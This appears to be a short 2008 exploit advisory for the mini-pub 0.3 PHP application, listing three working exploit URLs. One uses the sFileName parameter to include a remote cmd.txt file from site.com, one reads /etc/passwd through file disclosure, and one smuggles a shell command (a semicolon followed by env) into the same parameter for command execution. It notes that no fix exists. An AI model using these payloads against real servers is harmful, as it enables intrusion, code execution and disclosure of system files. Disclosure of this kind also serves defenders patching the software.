mini-pub 0.3 (LFD-CE) Multiple Remote Vulnerabilities

2008-10-12 20:01:07

mini-pub 0.3 multiple vulnerabilities

download http://sourceforge.net/projects/mini-pub/

author muuratsalo
contact muuratsalo[at]gmail.com

exploits
1. local file disclosure
http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt?

2. local file disclosure
http://localhost/mini-pub.php/front-end/cat.php?sFileName=/etc/passwd

3. command execution
http://localhost/mini-pub.php/front-end/cat.php?sFileName=a%3Benv

#

Fixes

No fixes

In order to submit a new fix you need to be registered.